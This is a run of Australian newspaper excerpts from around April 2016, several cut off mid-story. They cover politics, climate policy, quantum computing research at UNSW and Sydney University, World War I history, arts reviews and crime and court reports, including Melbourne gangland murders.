On April 23, 1564, William Shakespeare was born; on the same date 52 years later he died. "Tomorrow, therefore, is a day of proud memory. For the British nation in especial it envelopes the glory of the greatest of all its great men. For the world at large ... it recalls the one name among all the named of modern history that is enshrined, above the rivalries of race, for homage universal and undisputed."

A 1893 edition of Shakespeare's poems and plays, held by the State Library. Credit:James Brickwood

Future farmers and soldiers

The Herald reported: "The scheme devised by the executive committee of the Dreadnought Fund for obtaining boys from England, and training them to agricultural pursuits, has received practical application in so far that 12 fine strapping young fellows have reached Sydney, and have received a very cordial welcome. They were selected by the Central Unemployed Society from a large number of applicants."
Those who hold public office in our democracy are vested with the high responsibility of public trust. As elected leaders, they must faithfully determine not just the direction of our nation, our states and neighbourhoods but the funding and delivery of vital community services. Their duty to serve the public is non-negotiable, and it takes precedence over all other concerns. On that, they must be held to account.

The Age raises this in light of astounding comments by the former Liberal member for Indi, Sophie Mirabella, that offer rare and dispiriting insights into dishonourable, cynical tactics that political parties adopt in election campaigns. During a community forum on Thursday, Ms Mirabella declared that the people of Wangaratta had been denied funding for an extension to the local hospital because the independent candidate, Cathy McGowan, had trumped her in the September 2013 election.

Sophie Mirabella is contesting the seat of Indi for the Liberals in the federal election. Credit:Matthew Smithwick

Ms Mirabella was responding to a question from Brendan Schutt, a local businessman, who is the chairman of the board at Northeast Health Wangaratta, which operates the local hospital. She said: "I had a commitment for a $10-million allocation to the Wangaratta hospital that, if elected, I was going to announce the week after the election. You know that." (Mr Schutt nodded and appeared to say, "Yes".) Ms Mirabella then said: "That is $10 million that Wangaratta hasn't had because Cathy got elected."

This is stunningly arrogant and remarkably gormless. Ms Mirabella's comments might be infected with rivalry and spite, but they also raise serious questions about how funding allocations are determined by governments and exactly what behaviour Ms Mirabella considers acceptable. Let's break it down.
Gallipoli remains firmly entrenched in the national psyche as a defining moment in the nation's history, but it was ultimately a costly and unsuccessful sideshow to the beginning of three more years of bitter fighting. The centenary of the fighting of 1916 reminds us that the Western Front, not Gallipoli, was where Australia made its greatest contribution to World War I. It is also where it made its greatest sacrifice. In just eight weeks in France Australia lost more men - killed, missing, wounded, and captured - than it did in eight months on Gallipoli.

Naive and inexperienced, Private Makin nevertheless knew that the outcome of the Great War was going to be decided on the battlefields of the Western Front. One hundred years on, it is worth modern Australians pondering why our troops were fighting in France, and why the fighting there still matters.

After a year of training, Makin was nervous and excited to enter the trenches of the Western Front. "The long-looked-forward-to-day has arrived", he wrote from his billet near Armentieres in June 1916. "The prospect of a term in the 'first line' trenches fills me with all sorts of anticipations. What will the actual trenches be like? What is the feeling of one 'under fire' for the first time? Are we to occupy a 'hot' part of the line, or a place of comparative quiet?"

Like most Australian soldiers who fought in World War I, Private James Makin did not fight on Gallipoli. The 22-year-old bank clerk from Middle Park in Melbourne had enlisted in the Australian Imperial Force in July 1915 and left Australia with a reinforcement group for the 21st Battalion two months after the last troops were evacuated from Anzac. Makin's war began in Egypt, where for months he tramped on pack marches and rehearsed mock attacks in the hot desert sands before sailing for France.

Australian soldiers arrived in France in 1916 and entered a vast network of trenches that extended 700km from the Belgian coast to the Swiss border. Opposite them were troops of the German army, formidable adversaries who had every inch of no man's land covered with artillery and interlocking cones of machine-gun fire to protect what they saw as their empire's new western border.

Since the German invasion of Belgium in August 1914 was what drew the British Empire into the war in the first place, Australian troops like Private Makin were excited by the prospect of fighting the principle aggressor of the war. Not only would ejecting the Germans from France preserve a democratic republic defined by its traditions of liberty and equality but it would also remove a hostile, totalitarian army from Flanders, where the gunfire could be heard 250km away in central London.

In July 1916 the AIF joined British, Canadian, New Zealand, South African, Indian, Newfoundland, and French troops in a major campaign amid the rolling hills of the Somme region in Picardie. Beginning on July 1, the purpose of the offensive was to draw the Germans into a separate offensive to relieve the French at Verdun, while trying to achieve a breakthrough to end the deadlock. With the onset of winter four months later the British and French had suffered 485,000 casualties, yet the line had advanced just 12km and was nowhere near its intended objective. The Australians had fought costly actions at Fromelles, Pozieres, and Mouquet Farm as part of this offensive, sustaining 28,000 casualties (including 6700 dead) before they were relieved by the Canadians in early September.

The story of the Gallipoli landings and the subsequent defence of a hostile shore are well known, yet more Australian troops fought on the Western Front than in any other theatre of operations. There were also more casualties. Of the more than 60,000 Australians who died during the conflict, some 45,000 lost their lives on the Western Front. Of these, 17,000 have no known grave, and today their names are etched in the white Portland stone of the Australian National Memorial at Villers-Bretonneux in France, and on the Menin Gate Memorial at Ieper (Ypres, as it was known during the war) in Belgium.

In addition to the dead were 134,000 wounded and countless others who suffered psychological damage even in the decades following the Armistice. Six weeks after entering the line at Armentieres, James Makin was pulled from a dug-out at Mouquet Farm following a direct hit from a German high-explosive shell. Evacuated to England with "shell shock", he never returned to France. His older brother, Les, is still there today. Mortally wounded in 1918, he was buried near Rouen, where a small epitaph penned by his grieving parents appears on his headstone: "Oh Sacred Heart of Jesus Have Mercy on His Soul".
Prince was a brilliant, often sexually provocative musical luminary. He also was a deeply conservative Christian who opposed marriage equality. As a Jehovah's Witness, he did not believe people should be able to "do what they want".

He told the New Yorker: "God came to earth and saw people sticking it wherever and doing it with whatever, and he just cleared it all out. He was, like, 'Enough'."

Illustration: Simon Bosch

So how can we reconcile this? Would it be fair to say because he had a traditional, orthodox view of marriage, that he hated gays, lesbians, transgender, bisexual or intersex people, millions of whom adored his music? It would be hard, almost unimaginable, to think so.

So when does opposition become hate? Where is the line?
Kiera Lindsey lectures in Australian history at the University of South Australia and won the inaugural Greg Dening memorial prize. Her biography The Convict's Daughter (Allen & Unwin) follows the scandalous abduction trial that followed her great-great-great aunt Mary Ann Gill's attempt to elope in 1848.

My Family and Other Animals

Winner of the Greg Dening Memorial Prize: Author Kiera Lindsey. Credit:Brian J. Marshall

Gerald Durrell

Aged 10 I read this sprawling autobiography of an English boy who moved with his family to Corfu in the 1930s. It recalls his encounters with animals  human, mammal, reptile  as he negotiates life on a Greek island with an eccentric family constantly on the brink of spontaneous combustion.
Cathedral ceilings. Views across the city. This is, in every sense, the high life.

Realised in a coolly imposing stage design from Elizabeth Gadsby, Sarah Goodes's production elevates us to the Manhattan eyrie of a corporate lawyer, Amir, and his artist wife Emily.

Veneers of civility are ripped away like Band-Aids in Ayad Akhtar's Disgraced, a quick-to-boil drama on themes of identity, religion and the hazards that spring from denial of heritage.

But this edifice is built on shaky foundations. Amir's life, while not exactly a lie, is one based on the rejection of his Pakistani heritage and Muslim upbringing. If anyone is so gauche to ask, he says he is Indian.

All that changes when Amir, at the behest of his nephew, takes a glancing interest in the case of a New York imam accused of funnelling funds to Hamas.

Sachin Joab as corporate lawyer Amir and Sophie Ross as his artist wife Emily in Credit:Prudence Upton

In a New York Times news article, Amir is identified as a "supporter". It doesn't seem much but Amir knows the association is more than enough to stymie a career with a Jewish law firm.

Tensions in Amir's marriage become apparent. Amir has always bridled at Emily's embrace of the Islamic tradition in her art, one that is being enthusiastically championed by mutual friend and gallery curator Isaac, whose good word Emily needs to get her into an upcoming show at the Whitney.
Bad news on the climate front More than 150 countries will sign the Paris Agreement, which was drafted in December last year, at a ceremony this week in New York. Credit:AP But in the four months since Turnbull's speech, climate news from abroad and at home has been anything but positive. Global temperature records were so decisively smashed in the first three months of 2016 that Gavin Schmidt, the head of NASA's Goddard Institute of Space Studies, declared this year is already virtually certain to be the hottest on record  for a third year in a row: Developed nations are likely to need to reach net-zero carbon emissions by 2050 - and developing nations soon after - if the planet is to avoid dangerous climate change, scientists say. Credit:Kevin Frayer

Hunt's send off wasn't cheery either. Before boarding the plane, he arranged a last-minute teleconference at the behest of Queensland counterpart Steven Miles to address the worst case of coral bleaching to hit the Great Barrier Reef. During the "occasionally heated" call, Miles says he called for an urgent meeting in Cairns so officials "could witness at first-hand the devastating effects of climate change". Hunt declined the invitation but proposed a weekly ministerial phone call to discuss the unfolding disaster. UNSW lead researcher Xiaojing Hao has developed new solar cells using non-toxic, relatively abundant materials, which may open up new fields for the industry. Credit:Dallas Kilponen You don't turn off R&D spending when there's a revolution under way Andrew Blakers, Centre for Sustainable Energy Systems, ANU

"I have been involved in ongoing visits to the Reef and have only recently returned, and will be attending again and for as long as I hold the post," Hunt says, adding that Queensland "could not name one action they would take to actually assist". But for policy areas directly under Turnbull's control, it's been a dismal few months for climate action, not least CSIRO's assault on climate science launched on February 4 that will see dozens of leading researchers sacked among as many as 450 jobs to go. Despite pleas of budget penury, the government somehow managed to find $15.4 million a couple of weeks later for a new Oil, Gas and Energy Resources Growth Centre to, among other things, "foster community support" for non-renewables, including coal and nuclear energy. It is also forked out $3.3 million to two researchers to examine the effects of wind farms on health. Just four researchers made submissions for the cash, a remarkably small number, according to Sydney University public health expert, Simon Chapman.

Taken for granted And a fresh concern surfaced this week with 61 leading scientists writing to Turnbull decrying the government's decision last month to end grants from the Australian Renewable Energy Agency (ARENA). Set up by the Rudd-Gillard government, the agency still had $1.3 billion in funding to disperse by 2022. Instead, it will now work with the Clean Energy Finance Corp to offer $100 million in loans annually for 10 years to foster "clean and renewable energy". ARENA still has $130 million to be allocated, with "high interest" from potential proponents, Hunt says.

The proposed end of ARENA's grant funding removes "an essential component of technology innovation", the mostly solar researchers said in the letter obtained by Fairfax Media. Forty years of such grants over had allowed Australia to contribute "very far above its weight" in renewable energy. By contrast, reliance on equity returns "have rarely been effective" in advancing early-stage research, the scientists said. Richard Corkish, chief operating officer of UNSW-based Australian Centre for Advanced Photovoltaics, said his facility faced "an existential threat" if the $4 million in annual ARENA funds ended. The school continues to spawn world-leading technology, including new types of solar cells using abundant, non-toxic materials. "ARENA is our major funding source," Corkish says. Andrew Blakers, who led development of the solar PV technology being adopted by the world's largest producers, said all new electricity investment in Australia over the past five years had been in solar or wind energy.

"This is incredible", says Blakers, who heads the Centre for Sustainable Energy Systems at the Australian National University. "You don't turn off R&D spending when there's a revolution under way." A record $US286 billion ($366 billion) was invested in renewable energy research and deployment last year, the UN Environment Programme said on Thursday. About $US130 billion was spent on new coal and gas-fired power plants. The PM's office declined to comment on the letter. Still a 'black sheep' Hunt does have a positive story to tell in New York about Australia's ambitions in that per capita emissions will drop more than most nations, says Malte Meinshausen, director of the Australian-German Climate & Energy College at Melbourne University.

"But Australia is still going to be the highest in the developed world" at about 15.7 tonnes of CO2 emitted per person by then, Meinshausen says. However, even those goals - which will leave Australia "a black sheep" vying with Canada as the worst emitter among rich nations - may be out of reach. "We are still walking in the other direction," Mainshausen says."The big gap is there are no policies on the horizon" to hit the target. Paying polluters to cut emissions and other existing measures won't get Australia anywhere close. "It has to be an economy-wide price on carbon in one form or another," he says. 'Pressing challenge'

The government, though, is adamant that Australia is pulling its weight. "We are in a strong position globally," a spokesperson for Hunt says. "We have shown leadership in helping secure 90 billion tonnes of [CO2-equivalent] abatement as co-chair of the Montreal Protocol discussions." Along with existing policies - which include the third auction for the Emissions Reduction Fund due next week - the government will focus on reducing vehicle emissions, a National Energy Productivity Plan, and the phase down of potent hydro-fluorocarbons by 85 per cent, the spokesperson says. Labor, meanwhile, is yet to release its climate policies, although Mark Butler, opposition environment spokesman, says they are just weeks from doing so. He notes, though, that while Australia is likely to meet its 2020 target to cut 2000-level emissions by 5 per cent, it would do so largely because of surplus credits under the existing Kyoto treaty: "By the government's own figures, by 2020 emissions will be 6 per cent above 2000 levels and will keep on rising."

"The pressing challenge is to get emissions back under control and have them falling in the medium term to 2030." Greens deputy leader Larissa Waters said there's "an obvious disconnect between the Prime Minster's rhetoric in Paris last year and his actions in Canberra". "Presiding over cuts to CSIRO's world-leading climate research and gutting renewable technology research is stupid on so many levels. "The government is tipping new money into fossil fuel research so that the big mining companies profiting off the world's warming don't have to pay for research themselves," Waters says. Hunt, meanwhile, may be asked in New York about the state of the Great Barrier Reef, an issue the World Meteorological Organisation dubbed one of the "worrying developments" in the sizzling start to 2016.
A beaming Prime Minister on Friday opened a new wing to the University of NSW's quantum computing laboratories, declaring that "there has never been a more exciting time to be in quantum computing".

UNSW has invested $25 million of its own money to extend its Centre for Quantum Computation, which is run by Australian Research Council laureate, Professor Michelle Simmons.

Mr Turnbull said he was immensely proud of Professor Simmons' work, saying it was not just great for Australia but the "best work in the world".
The Turnbull government is to crack down on corrupt company executives, handing the Australian Federal Police a $15 million boost to expand its foreign bribery investigation teams.

The funds will be used to investigate allegations that Leighton Holdings executives were involved in paying bribes via an intermediary, Unaoil - revealed by Fairfax Media - and to help examine the 800 Australians identified in the Panama Papers as using the law firm Mossack Fonseca, which created tax-shielding shell companies on an industrial scale.

The funding boost is another sign the federal government is determined to tackle bribery, corruption and bad behaviour in the corporate world and not just in unions and on building sites.
Nationals deputy leader Fiona Nash has joined her cabinet colleague Attorney-General George Brandis in claiming the science of climate change is not yet settled.

Senator Nash, responsible for regional development, communications and health, told Sky News there were "varying views" on climate science and she was of the opinion it was still up for debate.

"I don't think it's necessarily settled but I think we certainly think we should be taking every precaution possible to ensure that the planet is healthy," she said.

"I think there's varying views on whether it's settled or not. What I'm really focused on, again as a farmer, is that climate is changing and that we have to be able to adapt."
Donald Trump's election as US president would trigger a collapse in support for Australia's alliance with the United States, according to a new poll.

Forty-five per cent of voters believe Australia should distance itself from the United States if it elects a president like Donald Trump, compared to 51 per cent who say the alliance should remain strong regardless.

"It's a striking and somewhat disturbing result because one of the strongest and most consistent polling results in the Lowy Institute's history has been support for the US alliance," executive director Michael Fullilove said.

In 2015, 80 per cent of Australian adults said the relationship was very or fairly important.
Prime Minister Malcolm Turnbull has suggested that Channel Nine's alleged six-figure payment to free their crew from a Lebanese prison may be examined by Australian authorities.

It was reported on Friday that Nine paid Ali Elamine, the father at the centre of the Lebanon child abduction scandal, and his family at least $500,000 to encourage him to drop the charges against the 60 Minutes crew.

"I've got no doubt it will be of interest to various regulatory agencies," Mr Turnbull told 2SM's John Laws, who asked whether he supported the idea of financial regulators ASIC investigating.

"Nobody is above the law and if you break the law in other parts of the world, you may well be breaking Australian law as well," he said.
Revered former Papua New Guinea politician Dame Carol Kidu has won an injunction restraining the Australian makers of a documentary from screening footage about her role in a controversial land development premiering at a prestigious film festival next week.

On Friday, the NSW Supreme Court granted an injunction preventing the screening of parts of the film The Opposition by young filmmaker Hollie Fifer at Canada's Hot Docs, the largest documentary festival in North America.

Documentary maker Hollie Fifer leaves the NSW Supreme Court last week. Credit:James Alcock

Fifer's 77-minute documentary focuses on the struggle to stop the eviction of 3000 people from a decades-old squatter community to make way for an Australian-backed property development that is promising a hotel, marina and exhibition centre. It is the proposed venue for the 2018 APEC leaders' summit.

Dame Carol, the former PNG opposition leader, publicly protested against the development.
Three teenagers have been charged with allegedly selling fake tickets to an all-night dance party to be held in Sydney this weekend.

Police received several calls from the event organisers and from buyers who had been sold fake tickets for the $135-a-head Midnight Mafia party at the Sydney Showground this Saturday.

Organisers of the Midnight Mafia dance party posted a warning about fake, dark blue tickets. Credit:Facebook/Midnight Mafia 2016

On Thursday night, police arrested three 18-year-old men - Bobby Ivanoski, Noor Bebe and Wassim Hamed - on Fitzroy Street, Surry Hills.

The men were found with $1040 cash, three fraudulent yellow-backed Midnight Mafia tickets and 10 Good Life After Party tickets, which police believed were stolen or unlawfully obtained, court documents revealed.
The Queensland Uber debate shows no signs of abating, with the ride sharing service protesting the decision to block form emails supporting the service from MP's parliamentary email accounts, calling the move "undemocratic".

Uber sent an email to its Queensland customers on Tuesday night, urging them to send a form email to the Premier and the state's MPs urging them to vote down legislation which was designed to crack down on the service.

More than 10,000 emails were sent in less than 24 hours. By the afternoon, Uber customers had begun to complain their emails were bouncing back.

The parliament, including both major parties, voted for amendments to the Katter authored legislation, which swapped the original demerit point punishment with increased fines and a simplifying of the offence to make it easier for transport inspectors to issue those fines.
The forum comes after a public meeting was held on April 12 at Longreach that addressed how the donated goods could be better distributed Longreach Mayor Ed Warren said. "The public meeting was not for the hay run, it was specifically addressed to concentrate on how the communities can be of better assistance to charitable organisations and individuals and groups like the hay runners," he said. "How we can better interact with them and work together and make sure the hay and goods are better distributed. "It was reported that it was about the businesses being affected by the hay run, well that is not true, no."

Cr Warren said the four-year-long drought was hurting everyone and said rumours of people on-selling hay was damaging to the community. "Business has been hurting long before, this drought has been going on for four years and things are getting tougher and tougher and people are running out of money and businesses are going to feel the effects of that," he said. "The people who own businesses rely on rural people doing their business in the community. "I have heard rumours that they are on-selling hay that was being given to people by the hay run, these things have been investigated by the police. "There is always in a community a small group that spoil the situation."

The last run to Ilfracombe finished up last week and saw a few hairdressers and masseurs travel up to Ilfracombe to offer their services, which disrupted one Longreach hairdresser who said she was upset with the disruption to her business. "They're missing that one haircut, which at the end of the day if you've got 40 [haircuts], like there was in Ilfracombe last week ... it starts to impact all three of the hairdressers in town," Sandie Tanks told ABC. "At the end of the day when the drought breaks we all still need to be here." Burrumbuttock Hay Runners convoy manager Mark Lavery, who has been on 10 of the 11 runs so far, said it "cut to the bone" hearing locals were upset with their donations. "There has been a small minority that think the town has been hard done by, but there is always a small minority," he said.

"When we have gone out of our way to help and spare a bit of good will and then to cop any kind of backlash hits a raw nerve. "Unfortunately this bit of backlash has taken the shine off it." Mr Lavery said the donations were not about trying to save the businesses in town but rather to show those farmers affected by drought there were people out there who cared. "The whole thing is not about solving the drought, it's not about pumping money into town, it is about goodwill to the farmers to help and make them realise that at least someone gives a damn," he said. At the end of the day we can't solve the drought, it is just a goodwill thing that is done by a growing group of volunteers.
In the early hours of the morning, Labor managed to close one of the state's most fraught chapters, passing its racing reforms despite fierce opposition from the LNP and sections of the industry itself.

Following the greyhound racing baiting scandal, the Palaszczuk government, then with Bill Byrne as racing minister, moved to instigate a review into the industry as a whole.

The new board takes the place of all those former boards, with one of the state's top cops, Ross Barnett, established as commissioner. Credit:Joe Armao

The resulting report, led by the now Crime and Corruption Commission chair Alan MacSporran, recommended a stand-alone integrity commission be established to oversee the industry, as well as the establishment of a new seven-member board, which would run all three codes of racing in Queensland and include four members with "no relevant connection" to the industry.
Speaking at the launch on Friday, Turnbull explained his version of quantum computing, albeit without allowing questions. In wry self-deprecation, the Prime Minister concluded his comments, saying "There has never been a better time to be in quantum computing". "This is not just a great position to be in, but a superposition," Turnbull said, referring to the superpositioning behaviour of quantum objects. University of Sydney vice-chancellor Michael Spence (left) with Microsoft's Norm Whitaker (centre) and Professor David Reilly in Reilly's laboratory at the Nanoscience Hub. Credit:Louise Kennerley Professor Michelle Simmons at UNSW has previously said: "This is the space race of the computing era." Simmons is leading UNSW's quantum computing charge. Her team has an impressive string of achievements. Last year members of UNSW's team successfully ran an algorithm  or computation  using two quantum bits in silicon. This was the world's first silicon logic gate in quantum computing.

Malcolm Turnbull makes an announcement on quantum computing at UNSW on Friday. Credit:Anthony Johnson The first thing you need to know about quantum mechanics is that it's OK if you find it confusing. Trudeau's slick response notwithstanding, the quantum world is by definition beyond the lived experience of human beings. Some of the best minds in history have struggled with it. Albert Einstein himself rejected its premise, saying: "The more success the quantum theory has the sillier it looks." Another of the 20th century's greatest physicists, Richard Feynman, bluntly said: "Nobody understands quantum mechanics." Professor Michelle Simmons at UNSW. Credit:Nic Walker But increasingly people do  and we are lucky to have some of the best operators here in Sydney.

While they are polite about it, there is something of a niggle between UNSW and Sydney University. UNSW, perhaps rightly, considers itself ahead of the pack. It has more peer-reviewed articles in leading scientific journals such as Nature, than many of its competitors. And it is more narrowly focused on one path to quantum computing success. However, many voices in quantum physics say there will be no single "winner" in quantum computing. Norman Whitaker, global managing director of Microsoft's special projects program, was at Sydney University to launch the Nanoscience Hub. The global computing giant is backing Sydney University's quantum computing program as part of its Station Q project. He said: "It's a question of many flowers blooming. If these folks [at UNSW] have a great technology, we will want to learn from that. [While we are supporting Sydney University] it's not an exclusionary position we are in right now."

Raymond Laflamme is a theoretical and experimental physicist at Canada's Institute for Quantum Computing at the University of Waterloo. He told the Herald that quantum computing was in its early days. He said it's probably best not to think of a quantum computer as one type of device. "There are many modalities that quantum technology can be. Which one is most promising? It depends on what you want to do. In the end we will likely end with a hybrid device," Laflamme says. It is important to realise that quantum computers will not replace our laptops but, rather, will probably become workhorses crunching big data. They will help us mine huge databases, build cyber-security systems that can't be hacked, help design new pharmaceuticals, model complex chemical, climate and economic systems. Our day-to-day computing will be done on familiar, classical devices. A central difference of approach between Sydney and UNSW seems to be scope of research.

Simmons at UNSW tells the Herald: "We're very focused. From the get-go we were always going to build a processor and we're going to stick with silicon. That's been our hallmark of success." So where UNSW could be described as material fundamentalists, at Sydney Uni they are agnostic. Professor David Reilly is director of the Quantum Nanoscience Laboratory at Sydney University. He says: "It's not a materials race. I'm a materials agnostic  we are working with gallium arsenide and also silicon-germanium  both interesting. It's too hard to say what will ultimately be needed. Maybe both, maybe neither." And while he salutes the advances made at UNSW, he points out that those, including their two qubit system, are in silicon. He says that in his lab he can briefly scale up to a four or five qubit systems in his preferred medium, gallium arsenide, a common alloy used in semiconducting materials. Reilly's colleague is Associate Professor Michael Biercuk, who runs the quantum simulation lab at Sydney Uni's Nanoscience Hub. He agrees with Simmons that there is a "space race" to quantum computing. However, he says: "It's not like we're the Americans and they're the Russians."

Competitive collaboration seems to be the order. So while both teams are at times defensive of their respective approaches, they retain deep respect for each other. Simmons says: "Australia has been disproportionately strong in the quantum technology field, which is very exciting. "One of the reasons is our collaborative spirit. Australians are pioneering and they're collaborative and that gives us a competitive edge internationally." Sydney University vice-chancellor Michael Spence says: "We don't play the Sydney v UNSW game. From a global perspective, having a concentration of quantum expertise in the Sydney basin is a real advantage for our city and the more we can present a united front in that, the better." When more reflective, both Sydney and UNSW researchers acknowledge that the path forward is not certain.

Reilly says: "Nobody yet knows what the ideal material system is in which to build a quantum computer. "My feeling is it will be a hybrid. It will be a combination of the best properties of materials, the best aspects of architectures and so on. At this time it does feel a little bit like a race, but it's a collaborative race." Simmons says: "Everyone's [approach] has positives and negatives. I don't want to be seen as thinking that any other approach isn't going to work. Because each one of us doesn't know, to be honest." Of course, there is a slim chance that quantum computing is impossible. Perhaps quantum state systems are just too fragile to control. Reilly says: "The laws of physics allow for computation using quantum mechanics. If it doesn't work, then we are missing something vitally important in our fundamental models. If that's the case then that piece of physics will be much more exciting than building a quantum computer.
Leaders: David Reilly, Stephen Bartlett, Andrew Doherty, Michael Biercuk, Steven Flammia.

Research team: 72

New investment: $150m Nanoscience Hub launched this month, including $40m from federal government; ongoing collaboration and support from Microsoft's Station Q project and US government.

Approaches: 1) Gallium arsenide qubit system; 2) Topological systems to encode and protect quantum information. Collaboration with University of Copenhagen, TU Delft and Microsoft integral to approach. 3) Ion trap qubits.

THREE PATHS TO QUANTUM COMPUTING
Australian sex offenders are going overseas in search of surrogate babies in worrying numbers, says a leading surrogacy lawyer who believes urgent law reform is needed.

The Age revealed on Friday that one man, who cannot be named, had a decades-long history of accessing child porn and had been abusing his young nieces before he became the surrogate father of twins.

Commercial surrogacy is illegal in Australia. Credit:Getty Images

He applied with his wife to become surrogate parents and used his sperm, a donor egg from the Ukraine and a surrogate from the Asian clinic to conceive the twins.
Specialist police are to be brought out of retirement to complete cases they previously investigated in a radical move designed to free operational detectives to concentrate on current crimes.

Assistant Commissioner (Crime) Steve Fontana said he will offer short-term contracts to ex-detectives when their specific knowledge was needed to compile evidence in unsolved murder cases.

Maryanna Lanciana was shot at point-black range.

Last month he recruited the former head of the Briars Taskforce, retired Detective Inspector Steve Waddell, to prepare the coronial brief of evidence into the gangland murder of nightclub bouncer George Germanos, shot dead in an Armadale park 15 years ago.

The ambush of Germanos has been linked to three other murders and a series of armed robberies carried out in Melbourne over 20 years.
Shane Chartres-Abbott was killed in 2003. Credit:Andrew De La Rue First to Big George. The former power lifter knew he was in danger when he discovered the snoozer he put to sleep outside the nightclub was Mather's son. Just two weeks before he was killed, he tried to borrow $5000 from a relative to buy a handgun. "He said: 'I'm in trouble; there's a hit on me. I've bashed a kid. I didn't know who he was'," the relative said. (There is no suggestion Ray Mather was aware of any plot against Germanos). An inquest into the killing of George Germanos 15 years ago is expected to get under way soon. "He wasn't a career criminal. He was a quiet man who still lived at home. But from working security at clubs, he knew a lot of wrong people."

And it was some of those wrong people who set him up. "We have been waiting 15 years for answers to what happened. We desperately want the inquest to go ahead without any further delays," the relative said. On March 22, Germanos went to Armadale's Inverness Park for a late-night meeting. The open street directory later found on the passenger seat of his 1966 Valiant would suggest he did not know the area and the location was selected by his killer. It was the perfect place for a murder, as it was covered with trees, intersected five streets and offered easy getaways. Between 10.30pm and 11pm, he parked about 50 metres from one of the park's entrances and walked in, leaving his cigarettes and lighter in the car. (He left his mobile phone and wallet at home.)

If his plan was to slip into the park unnoticed, it failed. The killer beat him there and almost certainly hid under a bush near the entrance. Germanos walked in five metres, then turned back, possibly after the killer called his name. The last thing he saw was the muzzle flash as he was shot in his barrel chest. Then the killer shot him four times in the head from point-blank range. It is easy to speculate, but the planning of the ambush and the ruthless execution suggests the gunman was no novice. Police suspect the hitman was a man close to Mather, who had freelanced for him before. Which brings us to Belias, a con artist who always seemed to have several balls in the air. But when he tried to rip off Mather, one of the balls turned into a hand grenade.

Belias was an underworld debt collector heavily in debt. He burned in a loan scam the type of people who don't need to call consumer affairs to get their money back. On September 9, 1999 (9/9/99  lucky for some, but not for others) Belias had several meetings, with the last planned for 7pm in St Kilda Road. He drove into the city and parked outside the Regency Hotel and at 5.47pm Bluey Bob hopped into his car for a chat. He was the last known associate to see him alive and, as usual, Bluey refused to make a statement to police. Belias was lured to a meeting in an underground car park in St Kilda Road and just before 7pm was shot in the back of the head.

A muzzle imprint on the skin indicated the barrel was pressed against his skull. So, how could these underworld killings be connected to the murder of a young mum in Werribee? First, we need to look at Mather's wider social circle, which included a group of loud detectives and a gang of quiet crooks. The crooks, we now know, formed an armed robbery gang right out of a George Clooney Ocean's 11 movie. Fit and well trained, they would meet secretly in public parks and carry out meticulously planned armed robberies on the Olympic schedule of every four years. Each job was different with one common element: they always had an inside man, once leaving a sleeper in place for years until they were ready to move.

Over 20 years, the gang invested the stolen millions in property and businesses, avoiding indulgent purchases that could attract the interest of police and tax officers. After each robbery, they would disperse to live seemingly law-abiding lives, running businesses and bringing up children. Some worked as part-time actors, scoring roles in a local cop drama that featured a major armed robbery. Talk about method actors. But occasionally the cloak of invisibility would lift, such as when they turned up at certain underworld funerals to be given prominent positions in the mourning party. Which brings us to the murder of Maryanna Lanciana, 25, in Werribee in July 1984. She, like Belias, was shot in the back of the head at point-blank range. The gunman snuck into the Kiely Avenue house and shot her while she slept in her bed with her 22-month-old son asleep in a nearby cot.

But why? The suggestion is she fell on some information about the armed robbery gang and was callously dealt with like an errant thread in a favourite suit. In one way, it worked, as many on the periphery were frightened into silence  at least until recently. Fear is a powerful deterrent, but greed, coupled with the desire to do a deal when police come knocking, is the equally powerful antidote. In 2014, when announcing an unprecedented collective $3 million reward for information about the killings, the then head of the homicide squad, Detective Inspector John Potter, said: "We have information the three murders are connected and there will be people in the community who have associated with a particularly criminal group with information that can assist us." What we do know is after years of near monastic silence underworld birds are chirping and police believe one gunman may be responsible for pulling the trigger in all three cases.

How much of this will be revealed at the Germanos inquest is anyone's guess, but when the matter came up for mention a couple of weeks ago before the State Coroner Judge Sara Hinchey she showed distinct signs of growing impatient at a series of delays. Intriguingly, the file was coupled with the murder of Shane Chartres-Abbott, who was gunned down on June 4, 2003, in the driveway of his Reservoir home. The Chartres-Abbott murder opened a drum of spitting pythons rather than the usual can of worms. In 2007, a notorious underworld killer turned informer volunteered to detectives he was the trigger man in the Reservoir hit. This was intriguing because in other cases when he confessed it was always out of self-interest, minimising his involvement and maximising his sentence discount.

This time, he admitted he was the shooter when he was not even the suspect. He was convicted of the killing and his statements resulted in three men being charged  and acquitted. Although he was never charged, it was claimed Mather was the facilitator. There were allegations that corrupt police close to Mather were involved  claims the now former police have always denied. For the first time, police are using a retired investigator to prepare the (Germanos) brief for the coroner. The choice of investigator, respected former detective inspector Steve Waddell, is no fluke. For he was in charge of Taskforce Briars, the protracted investigation into the Chartres-Abbott killing.
The man accused of murdering his parents on the family farm near Wangaratta has claimed he was scared of his violent, abusive father when growing up.

Ian Thomas, 38, who decided to give evidence in his defence in the Supreme Court on Friday, described his childhood as "tough", saying he was regularly beaten by his father wielding a belt he called 'Joey'.

Ian Thomas gave evidence at the Supreme Court on Friday. Credit:Joe Armao

Mr Thomas said he was encouraged by his mother to join the Navy at 16 to get away from his father.

Mr Thomas has pleaded not guilty to murdering his parents, William, 65, and Pauline, 63, who had been married for 40 years and had five children, at their Great Alpine Road home between Wangaratta and Tarrawingee, on April 21, 2013.
The former wife of artist Brett Whiteley has described their life together as she testifies at the Melbourne trial of two men accused of making millions by selling forgeries of her husband's paintings.

Art restorer Mohamed Aman Siddique and dealer Peter Gant are on trial in the Victorian Supreme Court on charges of obtaining and attempting to obtain financial advantage by deception by selling fake Brett Whiteley paintings for millions.

Brett Whiteley's widow Wendy Whiteley leaves the Supreme Court on Friday. Credit:Jesse Marlow

Mr Gant and Mr Siddique are accused of taking part in a joint criminal enterprise to create and sell fake Whiteley paintings.

One painting, Blue Lavender Bay was sold for $2.5 million to Sydney Swans chairman Andrew Pridham in 2007, while another, Orange Lavender Bay sold for $1.1 million to Sydney luxury car dealer Steven Nasteski in 2009.
A 70-year-old cyclist who is fighting for his life after a "random" stabbing attack is a lifelong Portland resident who was on his way to the local RSL, police say.

A young woman allegedly stabbed the man in a dispute over a mobile phone in a western Victorian town.

A man, 70, flown to The Alfred hospital by helicopter after being stabbed while on an evening bike ride in Portland. Credit:Channel 9

Portland Crime Investigation Unit Detective Sergeant Jason von Tunk said both the man and the woman were Portland locals.

"He was on his way to the RSL riding his [push] bike," Detective Sergeant von Tunk said.
The Shire of Manjimup has translated WA's road rules into seven languages ahead of the Anzac Day long weekend in a bid to tackle the state's horror road toll.

Shire president Wade De Campo said the initiative started after a number of travellers were killed on South West roads, including two men near Northcliffe on Sunday.

